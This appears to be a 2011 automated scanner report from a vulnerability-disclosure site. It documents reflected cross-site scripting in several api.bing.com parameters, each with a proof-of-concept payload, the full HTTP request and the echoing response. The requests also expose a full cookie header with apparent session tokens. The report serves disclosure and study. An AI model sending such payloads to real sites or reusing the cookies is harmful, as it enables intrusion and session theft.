XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, api.bing.com

Report generated by XSS.CX at Sat Aug 27 12:20:16 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://api.bing.com/json.aspx [AppId parameter]

1.2. http://api.bing.com/json.aspx [Market parameter]

1.3. http://api.bing.com/json.aspx [Options parameter]

1.4. http://api.bing.com/json.aspx [Query parameter]

1.5. http://api.bing.com/json.aspx [Sources parameter]

1.6. http://api.bing.com/json.aspx [Version parameter]

1.7. http://api.bing.com/json.aspx [Web.Count parameter]

1.8. http://api.bing.com/json.aspx [Web.Offset parameter]

1.9. http://api.bing.com/json.aspx [Web.Options parameter]

1.10. http://api.bing.com/qsonhs.aspx [q parameter]

2. Flash cross-domain policy

3. Silverlight cross-domain policy

4. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 10 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://api.bing.com/json.aspx [AppId parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the AppId request parameter is copied into the HTML document as plain text between tags. The payload e039c<img%20src%3da%20onerror%3dalert(1)>ad60e05015f was submitted in the AppId parameter. This input was echoed as e039c<img src=a onerror=alert(1)>ad60e05015f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXXe039c<img%20src%3da%20onerror%3dalert(1)>ad60e05015f&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 327
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: d0d48733bb9c47d6a6e72f2ce03aa442
Date: Sat, 27 Aug 2011 18:16:36 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXXe039c<img src=a onerror=alert(1)>ad60e05015f","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}

1.2. http://api.bing.com/json.aspx [Market parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Market request parameter is copied into the HTML document as plain text between tags. The payload 26ef9<img%20src%3da%20onerror%3dalert(1)>697cfa2dbf6 was submitted in the Market parameter. This input was echoed as 26ef9<img src=a onerror=alert(1)>697cfa2dbf6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us26ef9<img%20src%3da%20onerror%3dalert(1)>697cfa2dbf6&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 504
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 04bae1a31c0c444dab3463fdec20dbed
Date: Sat, 27 Aug 2011 18:16:39 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Market","Value":"en-us26ef9<img src=a onerror=alert(1)>697cfa2dbf6","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}

1.3. http://api.bing.com/json.aspx [Options parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Options request parameter is copied into the HTML document as plain text between tags. The payload ff3e0<img%20src%3da%20onerror%3dalert(1)>8d9e28e188e was submitted in the Options parameter. This input was echoed as ff3e0<img src=a onerror=alert(1)>8d9e28e188e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlightingff3e0<img%20src%3da%20onerror%3dalert(1)>8d9e28e188e&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 531
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 19af2bfe5488466db6fbfc54bfe27cc1
Date: Sat, 27 Aug 2011 18:16:39 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Options.SearchOption","Value":"EnableHighlightingff3e0<img src=a onerror=alert(1)>8d9e28e188e","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.4. http://api.bing.com/json.aspx [Query parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Query request parameter is copied into the HTML document as plain text between tags. The payload a79e8<img%20src%3da%20onerror%3dalert(1)>effdaf9c300 was submitted in the Query parameter. This input was echoed as a79e8<img src=a onerror=alert(1)>effdaf9c300 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edua79e8<img%20src%3da%20onerror%3dalert(1)>effdaf9c300&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 327
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 949d22219b19423ba51a8dc9da896ff5
Date: Sat, 27 Aug 2011 18:16:37 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edua79e8<img src=a onerror=alert(1)>effdaf9c300"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}

1.5. http://api.bing.com/json.aspx [Sources parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Sources request parameter is copied into the HTML document as plain text between tags. The payload 8fc65<img%20src%3da%20onerror%3dalert(1)>d5b8e5dde47 was submitted in the Sources parameter. This input was echoed as 8fc65<img src=a onerror=alert(1)>d5b8e5dde47 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web8fc65<img%20src%3da%20onerror%3dalert(1)>d5b8e5dde47&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 678
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: d74dc45990524038ba267e0781681bfb
Date: Sat, 27 Aug 2011 18:16:38 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Sources.SourceType","Value":"web8fc65<img src=a onerror=alert(1)>d5b8e5dde47","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1001,"Message":"Required parameter is missing.","Parameter":"SearchRequest.Sources","HelpUrl":"http:\/\/msdn.microsoft.
...[SNIP]...

1.6. http://api.bing.com/json.aspx [Version parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Version request parameter is copied into the HTML document as plain text between tags. The payload 2748f<img%20src%3da%20onerror%3dalert(1)>468f2243636 was submitted in the Version parameter. This input was echoed as 2748f<img src=a onerror=alert(1)>468f2243636 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.22748f<img%20src%3da%20onerror%3dalert(1)>468f2243636&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 489
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 6efa57c11b944ce982bfe2ea8421410c
Date: Sat, 27 Aug 2011 18:16:38 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"Version","Value":"2.22748f<img src=a onerror=alert(1)>468f2243636","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.7. http://api.bing.com/json.aspx [Web.Count parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Web.Count request parameter is copied into the HTML document as plain text between tags. The payload 32dea<img%20src%3da%20onerror%3dalert(1)>566dac5d476 was submitted in the Web.Count parameter. This input was echoed as 32dea<img src=a onerror=alert(1)>566dac5d476 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=432dea<img%20src%3da%20onerror%3dalert(1)>566dac5d476&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 503
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 3c5ab11196014b0abbec55c80b3bca93
Date: Sat, 27 Aug 2011 18:16:40 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Web.Count","Value":"432dea<img src=a onerror=alert(1)>566dac5d476","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.8. http://api.bing.com/json.aspx [Web.Offset parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Web.Offset request parameter is copied into the HTML document as plain text between tags. The payload a7063<img%20src%3da%20onerror%3dalert(1)>0f1536afb5e was submitted in the Web.Offset parameter. This input was echoed as a7063<img src=a onerror=alert(1)>0f1536afb5e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0a7063<img%20src%3da%20onerror%3dalert(1)>0f1536afb5e&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
